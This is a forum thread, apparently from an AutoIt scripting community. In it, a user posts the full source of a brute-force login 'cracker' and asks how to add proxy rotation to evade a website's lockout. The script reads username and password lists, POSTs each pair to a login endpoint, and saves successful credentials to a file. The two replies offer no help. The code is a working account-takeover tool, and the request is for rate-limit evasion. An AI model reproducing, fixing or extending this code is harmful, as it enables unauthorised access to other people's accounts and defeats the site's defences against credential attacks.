Sign in to follow this  
Followers 0
appie9294

Error With My Scirpt Please Read!

5 posts in this topic

Hi when I Have This Program But I Want To Fix It with Ip Proxies If that Works...

And This Source Is Proxieless so when i run it and the websit blocks it u have to wait 6 mins.

anyone can help me?

Here Is The Source With the Problem Its A Cracker And I Want To Make It With IpProxies Anyone Help?

Source:

#Region ;**** Directives created by AutoIt3Wrapper_GUI ****

#AutoIt3Wrapper_icon=orbz-air.ico

#AutoIt3Wrapper_UseAnsi=y

#AutoIt3Wrapper_Compression=4

#EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****

#include <Array.au3>

#include <File.au3>

#include <INet.au3>

$oShell = ObjCreate("shell.application")

$num = $CmdLine[1]

Global $oHTTP = ObjCreate("winhttp.winhttprequest.5.1")

Local $usernames, $passwords, $proxies

_FileReadToArray(@ScriptDir & "/tempdir/usernames" & $num & ".txt", $usernames)

_FileReadToArray(@ScriptDir & "/passwords.txt", $passwords)

_ArrayDelete($usernames, 0)

_ArrayDelete($passwords, 0)

Print("Thread " & $num & " has started.")

Local $cUser = 0, $cPass = 0, $error = 0

While 1

If ProcessExists("Cracker.exe") = 0 Then

Exit

EndIf

If UBound($passwords) = $cPass Then

$cPass = 0

$cUser += 1

If UBound($usernames) = $cUser Then

ExitLoop

EndIf

EndIf

Switch CrackAccount($usernames[$cUser], $passwords[$cPass])

Case -1

Print("#" & $num & " An Unknown Error Occurred")

$Error += 1

If $error = 5 Then

Refresh()

$error = 0

EndIf

Case 0

Print("#" & $num & " Invalid - "&$usernames[$cUser]&":"&$passwords[$cPass])

$cPass += 1

Case 1

Print("#" & $num & " Crack - "&$usernames[$cUser]&":"&$passwords[$cPass])

FileWriteLine(@ScriptDir & "/Cracks.txt",$usernames[$cUser]&":"&$passwords[$cPass])

Refresh()

$cPass = 0

$cUser += 1

EndSwitch

WEnd

Print("Thread " & $num & " has finished cracking.")

Func CrackAccount($vUser, $vPass)

$source = _HTTPRequest($oHTTP, "POST", "https://XXX.XXX.XXX/login.ws", "username=" & $vUser & "&password=" & $vPass )

Select

Case StringInStr($source, "Invalid")

Return 0

Case StringInStr($source, "successful")

Return 1

Case Else

Return -1

EndSelect

EndFunc

Func Print($oData)

ConsoleWrite($oData & @CRLF)

EndFunc ;==>Print

Func _HTTPRequest($Wnd, $oMethod, $oURL, $oData = "")

$Wnd.Open($oMethod, $oURL, False)

If $oMethod = "POST" Then $Wnd.SetRequestHeader("Content-Type", "application/x-www-form-urlencoded")

$Wnd.Send($oData)

Return $Wnd.ResponseText

EndFunc

Func Refresh()

$oShell = ObjCreate("shell.application")

$oHTTP = ObjCreate("winhttp.winhttprequest.5.1")

EndFunc

end Source

i am very new to this and i dont know how to fix it so it uses proxies...

so if anyone know's how to fix it please tell meh :)

AttachMents:

Cracker.au3

CrackThread.au3

Share this post


Link to post
Share on other sites



you wrote that code then below it you write im new to this well i have no clue what that was ment to do but im not testing hope someone can help u but u might need to add more to the description of this problem.

Share this post


Link to post
Share on other sites

#3 ·  Posted (edited)

you wrote that code then below it you write im new to this well i have no clue what that was ment to do but im not testing hope someone can help u but u might need to add more to the description of this problem.

i did i want help with proxies and its a proxyless cracker so..

i think that is enough information :)

Edited by appie9294

Share this post


Link to post
Share on other sites

i did i want help with proxies and its a proxyless cracker so..

i think that is enough information :)

lol ok i don't no enough about proxies let alone proxy script but i'm sure some1 on this forum does, uber l337 users should check the most recent topics and help:P

Share this post


Link to post
Share on other sites

#5 ·  Posted (edited)

BUMP

Edited by appie9294

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!


Register a new account

Sign in

Already have an account? Sign in here.


Sign In Now
Sign in to follow this  
Followers 0